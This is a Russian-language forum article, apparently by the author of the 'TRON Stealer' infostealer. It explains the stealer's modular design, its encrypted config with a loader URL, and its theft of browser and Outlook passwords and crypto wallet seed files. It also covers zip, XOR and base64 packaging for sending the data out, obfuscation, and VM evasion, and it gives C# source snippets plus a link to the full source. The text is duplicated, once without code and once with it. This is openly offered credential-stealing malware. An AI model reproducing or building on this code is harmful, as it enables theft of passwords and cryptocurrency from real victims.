Недавно слили исходники моего софта TRON Stealer, даже обосрать успели. Я считаю, что это повод для статьи - пиарить свои говнопроекты моими сурсами не позволю.
Сегодня я распишу основные моменты при написании стиллера.
Сначала поговорим про построение проекта, потом про методы сбора/передачи данных, в конце - про обфускацию. Сурцы можно найти в конце статьи.
ПЛАН ПРОЕКТА
Язык программирования C# очень удобен - дружелюбная IDE, понятные названия классов/методов и прочее. Однако, есть некоторые моменты о которых нужно помнить:
1) Декомпиляция.
DotNet легко разбирается, поэтому программы приходится обфусцировать (накрывать протекторами).
2) Зависимость от .Net Framework.
На данный момент оптимальным фреймворком для написания стиллера является net 4.0
3) Крипт
К .net софту нужен особый подход. Увы, довести до состояния фуда на VT не получится.
Итак, это отметили. Далее идет композиция софта.
Я считаю, что билдить софт на продажу одним файлом рискованно - любой школьник с DnSpy сможет анпакнуть твой софт, толком не разбираясь в программировании.
Поэтому в Троне была реализована "модульность" - разбитие файла на отдельные dll, которые запускаются посредством рефлексии главым exe. Звучит страшно, но на схеме все понятнее:
Decryptor.dll выступает в роли этакого "прокси" - она расшифровывает и запускает Stealer.dll и Sender.dll.
Полное описание работы софта:
1) MainEXE
Расшифровывает и вызывает метод из Decryptor.dll, возвращающий массив байт из Stealer.dll
Потом передает этот массив байт в Sender.dll через вызов метода в Decryptor.dll
2) Decryptor.dll
Содержит в себе Stealer.dll и Sender.dll, а также методы декомпрессии, расшифровки этих библиотек.
3) Stealer.dll
Содержит в себе sqlite3.dll (о ней позже), а также методы сбора информации о пк.
4) Sender.dll
Содержит в себе урезанную Ionic.zip (о ней тоже позже) и методы отправки данных на хост.
Все dll достаются из ресурсов, разжимаются Gzip'om и дешифруются.
Сами понимаете, C# софт должен как то выживать.
Это реализация трона, вы же можете придумать что то свое. Как бы это странно ни звучало - такой говнокод (в разумных пределах) иногда бывает полезен.
СБОР ДАННЫХ
Останавливаться буду лишь на самых интересных моментах, Steam/FileZilla/Jabber можно легко найти в пабе или у меня в коде.
1. Запуск граббера
Схема расшифровки конфига была такова:
b64_decode(b64_decode(00101010)$b64_decode(Rule1+userprofile/desktop/+*.txt;*.pdf+0+none)$b64_decode(http://gooogle.com/file.exe)$b64_decode(mspaint))
Где:
00101010 - дефолтные настройки той или иной функции граббера (стим, телега и проч). 1 - собираем, 0 - нет.
Rule1+userprofile/desktop/+*.txt;*.pdf+0+none - правила юзера. Имя, пусть, расширение, рекурсия/в той же папке, ограничение по размеру.
http://gooogle.com/file.exe - файл для лоадера
mspaint - команда cmd
Для рандомизации рантайма я добавлял нужные методы в массив ThreadStart, перемешивал его и запускал через for.
2. Браузеры
Не буду лукавить, метод сбора данных я позаимствовал из открытых источников. Мне было слишком влом разбирать, переписывать багованный и, вместе с тем, пользующийся огромной популярностью SqliteHandler.
Работа с бд осуществлялась при помощи обычной sqlite3.dll.
Длл дропалась с рандомным именем в %programdata%, в конец файла дописывалась рандомная строка, SetDllDirectory добавляем путь. Что удивительно, по рантайму с этой длл не возникало особых проблем.
Трон искал файлы браузеров по всей APPDATA и LOCALAPPDATA. Долго, но зато все что есть выгребал.
Чуть позже добавил статические пути.
Дешифровка паролей Gecko-браузеров - та еще жопоболь. Проще стырить два файла (key3.dll/key4.dll и logins.json) и расшифровать их бесплатной прогой от NirSoft.
3. Рекурсивный поиск файлов
Стоит отметить папки, в которые лучше не лезть (спасибо кодеру цитадели).
Функция принимает исходный каталог, массив паттернов, рекурсия или нет, ограничение по размеру
4. Обертка функций
Чтобы код был не столь нагляден я решил оберуть стандартные функции.
5. Сбор Outlook
Просто перебираем стандартные пути и возможные имена ключей в реестре
6. Криптовалюта
Ограничился статическими путями. Кто знает что и где искать - пропишет в правилах самостоятельно.
ОТПРАВКА ДАННЫХ
Изначально вся сграбленная инфа сохраняется в словарь вида <string, byte[]> где key - имя файла, а value - массив байт.
Все это в виде массива объектов (первый элемент - словарь, второй ip пк) передается в MainEXE, а оттуда в Sender.dll.
Для упаковки в памяти юзал урезанную и чуть чуть допиленную Ionic.Zip. Полученный массив байт ксорился и переводился в base64 строку. Вариантов загрузки масса, выбирайте на свой вкус.
https://github.com/haf/DotNetZip.Semverd - Zip Reduced
ОБФУСКАЦИЯ
К этому должен быть креативный подход.
Я использовал обертки функций, динамически подгружаемые либы, а также свой недописанный обфускатор на основе dnlib. Хороший обфускатор может превратить все это в неплохую кашу.
Тк софт был бюджетным, он был наиболее доступен. Поэтому приходилось извращаться еще больше - делать лоадер.
Лоадер детектил вм, плохие процессы, докачивал шифрованный бинарник и запускал посредством рефлексии.
Ошибки, которые совершил я:
1) Не шифровал строки - процесс написания модуля обфускации сторк затянулся
2) Не использовал достаточную обфускацию в некоторых dll
ПАНЕЛЬ
Просто принимал входящую base64 строку, расшифровывал и сохранял в файл. Сурцы также можно найти ниже.
Билдер конфига был реализован в виде десктопной приложухи - мне так было удобней.
ИТОГ
TRON создавался по большей части из интереса, на таком денег особо заработаешь. Да и к тому же рынок и так переполнен всякими форками бессмертного NoFile c отправкой логов в телеграмм. Возможно, кому то моя статья покажется интересной/полезной.
Исходники: https://github.com/onek1lo/TRON-Project-Stealer
Telegram: onek1lo
Jabber: one.kilo@exploit.im
Сегодня я распишу основные моменты при написании стиллера.
Сначала поговорим про построение проекта, потом про методы сбора/передачи данных, в конце - про обфускацию. Сурцы можно найти в конце статьи.
ПЛАН ПРОЕКТА
Язык программирования C# очень удобен - дружелюбная IDE, понятные названия классов/методов и прочее. Однако, есть некоторые моменты о которых нужно помнить:
1) Декомпиляция.
DotNet легко разбирается, поэтому программы приходится обфусцировать (накрывать протекторами).
2) Зависимость от .Net Framework.
На данный момент оптимальным фреймворком для написания стиллера является net 4.0
3) Крипт
К .net софту нужен особый подход. Увы, довести до состояния фуда на VT не получится.
Итак, это отметили. Далее идет композиция софта.
Я считаю, что билдить софт на продажу одним файлом рискованно - любой школьник с DnSpy сможет анпакнуть твой софт, толком не разбираясь в программировании.
Поэтому в Троне была реализована "модульность" - разбитие файла на отдельные dll, которые запускаются посредством рефлексии главым exe. Звучит страшно, но на схеме все понятнее:
Decryptor.dll выступает в роли этакого "прокси" - она расшифровывает и запускает Stealer.dll и Sender.dll.
Полное описание работы софта:
1) MainEXE
Расшифровывает и вызывает метод из Decryptor.dll, возвращающий массив байт из Stealer.dll
Потом передает этот массив байт в Sender.dll через вызов метода в Decryptor.dll
2) Decryptor.dll
Содержит в себе Stealer.dll и Sender.dll, а также методы декомпрессии, расшифровки этих библиотек.
3) Stealer.dll
Содержит в себе sqlite3.dll (о ней позже), а также методы сбора информации о пк.
4) Sender.dll
Содержит в себе урезанную Ionic.zip (о ней тоже позже) и методы отправки данных на хост.
Все dll достаются из ресурсов, разжимаются Gzip'om и дешифруются.
Сами понимаете, C# софт должен как то выживать.
Это реализация трона, вы же можете придумать что то свое. Как бы это странно ни звучало - такой говнокод (в разумных пределах) иногда бывает полезен.
СБОР ДАННЫХ
Останавливаться буду лишь на самых интересных моментах, Steam/FileZilla/Jabber можно легко найти в пабе или у меня в коде.
1. Запуск граббера
Схема расшифровки конфига была такова:
b64_decode(b64_decode(00101010)$b64_decode(Rule1+userprofile/desktop/+*.txt;*.pdf+0+none)$b64_decode(http://gooogle.com/file.exe)$b64_decode(mspaint))
Где:
00101010 - дефолтные настройки той или иной функции граббера (стим, телега и проч). 1 - собираем, 0 - нет.
Rule1+userprofile/desktop/+*.txt;*.pdf+0+none - правила юзера. Имя, пусть, расширение, рекурсия/в той же папке, ограничение по размеру.
http://gooogle.com/file.exe - файл для лоадера
mspaint - команда cmd
Для рандомизации рантайма я добавлял нужные методы в массив ThreadStart, перемешивал его и запускал через for.
2. Браузеры
Не буду лукавить, метод сбора данных я позаимствовал из открытых источников. Мне было слишком влом разбирать, переписывать багованный и, вместе с тем, пользующийся огромной популярностью SqliteHandler.
Работа с бд осуществлялась при помощи обычной sqlite3.dll.
Длл дропалась с рандомным именем в %programdata%, в конец файла дописывалась рандомная строка, SetDllDirectory добавляем путь. Что удивительно, по рантайму с этой длл не возникало особых проблем.
Трон искал файлы браузеров по всей APPDATA и LOCALAPPDATA. Долго, но зато все что есть выгребал.
Чуть позже добавил статические пути.
Дешифровка паролей Gecko-браузеров - та еще жопоболь. Проще стырить два файла (key3.dll/key4.dll и logins.json) и расшифровать их бесплатной прогой от NirSoft.
Recover passwords stored in Firefox Web browser
Tool for Windows 10/8/7/Vista/XP to recover lost/forgotten passwords stored by Firefox Web browser
www.nirsoft.net
3. Рекурсивный поиск файлов
Стоит отметить папки, в которые лучше не лезть (спасибо кодеру цитадели).
Функция принимает исходный каталог, массив паттернов, рекурсия или нет, ограничение по размеру
C#:
public static List<string> TRON_GetFiles(object TRON_path, string[] TRON_pattern, bool TRON_recursive, string size)
{
List<string> TRON_files = new List<string>();
try
{
if ((string)TRON_path != TRONRANDOM_NAME.TRON_Helper.TRON_appdata + "\\Microsoft"
&& (string)TRON_path != TRONRANDOM_NAME.TRON_Helper.TRON_localappdata + "\\Microsoft"
&& (string)TRON_path != TRONRANDOM_NAME.TRON_Helper.TRON_localappdata + "\\Application Data"
&& (string)TRON_path != TRONRANDOM_NAME.TRON_Helper.TRON_localappdata + "\\History"
&& (string)TRON_path != TRONRANDOM_NAME.TRON_Helper.TRON_localappdata + "\\Temporary Internet Files"
&& (string)TRON_path != TRONRANDOM_NAME.TRON_Helper.TRON_localappdata + "\\VirtualStore"
&& (string)TRON_path != (string)TRONRANDOM_NAME.TRONRANDOM_CLASS.TRON_copy_files_dir)
{
for (int TRON_i = 0; TRON_i < TRON_pattern.Length; TRON_i++)
{
try
{
string[] TRON_files2 = Directory.GetFiles((string)TRON_path, TRON_pattern[TRON_i], SearchOption.TopDirectoryOnly);
if (size == "none")
TRON_files.AddRange(TRON_files2);
else
foreach (var item in TRON_files2)
if (new FileInfo(item).Length / 1024 <= Convert.ToInt16(size))
TRON_files.Add(item);
}
catch
{ }
}
if (TRON_recursive)
foreach (object TRON_directory in Directory.GetDirectories((string)TRON_path))
TRON_files.AddRange(TRON_GetFiles(TRON_directory.ToString(), TRON_pattern, TRON_recursive, size));
}
}
catch
{ }
return TRON_files;
}
4. Обертка функций
Чтобы код был не столь нагляден я решил оберуть стандартные функции.
C#:
public static bool TRON_FExist(object TRON_s1)
{
return File.Exists((string)TRON_s1);
}
public static bool TRON_DExist(object TRON_s1)
{
return Directory.Exists((string)TRON_s1);
}
public static void TRON_CreateDir(object TRON_s1)
{
try
{
Directory.CreateDirectory((string)TRON_s1);
}
catch { }
}
public static void TRON_DeleteDir(object TRON_s1)
{
try
{
Directory.Delete((string)TRON_s1, true);
}
catch { }
}
5. Сбор Outlook
Просто перебираем стандартные пути и возможные имена ключей в реестре
C#:
public static object TRON_GetRegKey(string TRON_path, string TRON_name)
{
object TRON_val = null;
try
{
Microsoft.Win32.RegistryKey TRON_reg = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(TRON_path, false);
TRON_val = TRON_reg.GetValue(TRON_name);
TRON_reg.Close();
}
catch
{ }
return TRON_val;
}
public static string TRON_OutlookDecryptPwd(byte[] TRON_data)
{
try
{
byte[] TRON_decdata = new byte[TRON_data.Length - 1];
Buffer.BlockCopy(TRON_data, 1, TRON_decdata, 0, TRON_data.Length - 1);
return Encoding.UTF8.GetString(System.Security.Cryptography.ProtectedData.Unprotect(TRON_decdata, null, System.Security.Cryptography.DataProtectionScope.CurrentUser)).Replace(Convert.ToChar(0).ToString(), "");
}
catch
{ }
return "null";
}
public static string TRON_OutlookRecursiveReg(string TRON_path, string[] TRON_keys)
{
Regex TRON_smtp = new Regex(@"^(?!:\/\/)([a-zA-Z0-9-_]+\.)*[a-zA-Z0-9][a-zA-Z0-9-_]+\.[a-zA-Z]{2,11}?$");
Regex TRON_mail = new Regex(@"^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$");
string TRON_data = null;
try
{
for (int i = 0; i < TRON_keys.Length; i++)
{
try
{
object TRON_val = TRON_GetRegKey(TRON_path, TRON_keys);
if (TRON_val != null && TRON_keys.Contains("Password") && !TRON_keys.Contains("2"))
{
TRON_data += (TRON_keys + ": " + TRON_OutlookDecryptPwd((byte[])TRON_val)) + "\n";
}
else if (TRON_val != null)
{
if (TRON_smtp.IsMatch(TRON_val.ToString()) || TRON_mail.IsMatch(TRON_val.ToString()))
TRON_data += (TRON_keys + ": " + TRON_val.ToString()) + "\n";
else
TRON_data += (TRON_keys + ": " + Encoding.UTF8.GetString((byte[])TRON_val).Replace(Convert.ToChar(0).ToString(), "")) + "\n";
}
}
catch
{ }
}
Microsoft.Win32.RegistryKey TRON_reg = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(TRON_path, false);
string[] TRON_regkeys = TRON_reg.GetSubKeyNames();
for (int k = 0; k < TRON_regkeys.Length; k++)
{
try
{
TRON_data += (TRON_OutlookRecursiveReg(TRON_path + "\\" + TRON_regkeys[k], TRON_keys)) + "\n";
}
catch
{ }
}
}
catch
{ }
return TRON_data;
}
6. Криптовалюта
Ограничился статическими путями. Кто знает что и где искать - пропишет в правилах самостоятельно.
C#:
static void TRON_Crypto()
{
try
{
string[] TRON_files =
{
TRONRANDOM_NAME.TRON_Helper.TRON_appdata + "\\Electrum\\wallets\\default_wallet",
TRONRANDOM_NAME.TRON_Helper.TRON_appdata + "\\Exodus\\exodus.wallet\\info.seco",
TRONRANDOM_NAME.TRON_Helper.TRON_appdata + "\\Exodus\\exodus.wallet\\seed.seco",
TRONRANDOM_NAME.TRON_Helper.TRON_appdata + "\\Exodus\\exodus.wallet\\passphrase.json",
TRONRANDOM_NAME.TRON_Helper.TRON_appdata + "\\Ethereum\\keystore",
TRONRANDOM_NAME.TRON_Helper.TRON_localappdata + "\\Coinomi\\Coinomi\\wallet"
};
for (int TRON_i = 0; TRON_i < TRON_files.Length; TRON_i++)
{
try
{
TRONRANDOM_NAME.TRONRANDOM_CLASS.TRON_ziplist.Add("Crypto\\" + TRON_Helper.TRON_DirMatch(TRON_files[TRON_i]) + "\\" + TRONRANDOM_NAME.TRON_Helper.TRON_FileName(TRON_files[TRON_i]), TRONRANDOM_NAME.TRON_Helper.TRON_ReadBytes(TRON_files[TRON_i]));
}
catch
{ }
}
if (TRONRANDOM_NAME.TRON_Helper.TRON_DExist(TRONRANDOM_NAME.TRON_Helper.TRON_appdata + "\\MyMonero"))
{
string[] TRON_monero =
{
"FundsRequests*",
"PasswordMeta*",
"Settings*",
"Wallets*"
};
foreach (var TRON_item in TRONRANDOM_NAME.TRON_Helper.TRON_GetFiles(TRONRANDOM_NAME.TRON_Helper.TRON_appdata + "\\MyMonero", TRON_monero, false, "none"))
TRONRANDOM_NAME.TRONRANDOM_CLASS.TRON_ziplist.Add("Crypto\\MyMonero\\" + TRONRANDOM_NAME.TRON_Helper.TRON_FileName(TRON_item), TRONRANDOM_NAME.TRON_Helper.TRON_ReadBytes(TRON_item));
}
if (TRONRANDOM_NAME.TRON_Helper.TRON_DExist(TRONRANDOM_NAME.TRON_Helper.TRON_appdata + "\\atomic\\Local Storage\\leveldb"))
foreach (var TRON_item in Directory.GetFiles(TRONRANDOM_NAME.TRON_Helper.TRON_appdata + "\\atomic\\Local Storage\\leveldb"))
TRONRANDOM_NAME.TRONRANDOM_CLASS.TRON_ziplist.Add("Crypto\\atomic\\" + TRONRANDOM_NAME.TRON_Helper.TRON_FileName(TRON_item), TRONRANDOM_NAME.TRON_Helper.TRON_ReadBytes(TRON_item));
}
catch
{ }
}
ОТПРАВКА ДАННЫХ
Изначально вся сграбленная инфа сохраняется в словарь вида <string, byte[]> где key - имя файла, а value - массив байт.
Все это в виде массива объектов (первый элемент - словарь, второй ip пк) передается в MainEXE, а оттуда в Sender.dll.
Для упаковки в памяти юзал урезанную и чуть чуть допиленную Ionic.Zip. Полученный массив байт ксорился и переводился в base64 строку. Вариантов загрузки масса, выбирайте на свой вкус.
https://github.com/haf/DotNetZip.Semverd - Zip Reduced
C#:
public static byte[] ToZipStream(Dictionary < string, byte[] > ziplist)
{
try
{
using(var zip = new ZipFile())
{
foreach(KeyValuePair < string, byte[] > item in ziplist)
{
try
{
Stream ms = new MemoryStream(item.Value);
zip.AddEntry(item.Key, ms);
}
catch
{}
}
MemoryStream ms2 = new MemoryStream();
zip.Save(ms2);
return ms2.ToArray();
}
}
catch
{}
return null;
}
ОБФУСКАЦИЯ
К этому должен быть креативный подход.
Я использовал обертки функций, динамически подгружаемые либы, а также свой недописанный обфускатор на основе dnlib. Хороший обфускатор может превратить все это в неплохую кашу.
Тк софт был бюджетным, он был наиболее доступен. Поэтому приходилось извращаться еще больше - делать лоадер.
Лоадер детектил вм, плохие процессы, докачивал шифрованный бинарник и запускал посредством рефлексии.
Ошибки, которые совершил я:
1) Не шифровал строки - процесс написания модуля обфускации сторк затянулся
2) Не использовал достаточную обфускацию в некоторых dll
ПАНЕЛЬ
Просто принимал входящую base64 строку, расшифровывал и сохранял в файл. Сурцы также можно найти ниже.
Билдер конфига был реализован в виде десктопной приложухи - мне так было удобней.
ИТОГ
TRON создавался по большей части из интереса, на таком денег особо заработаешь. Да и к тому же рынок и так переполнен всякими форками бессмертного NoFile c отправкой логов в телеграмм. Возможно, кому то моя статья покажется интересной/полезной.
Исходники: https://github.com/onek1lo/TRON-Project-Stealer
Telegram: onek1lo
Jabber: one.kilo@exploit.im
Последнее редактирование: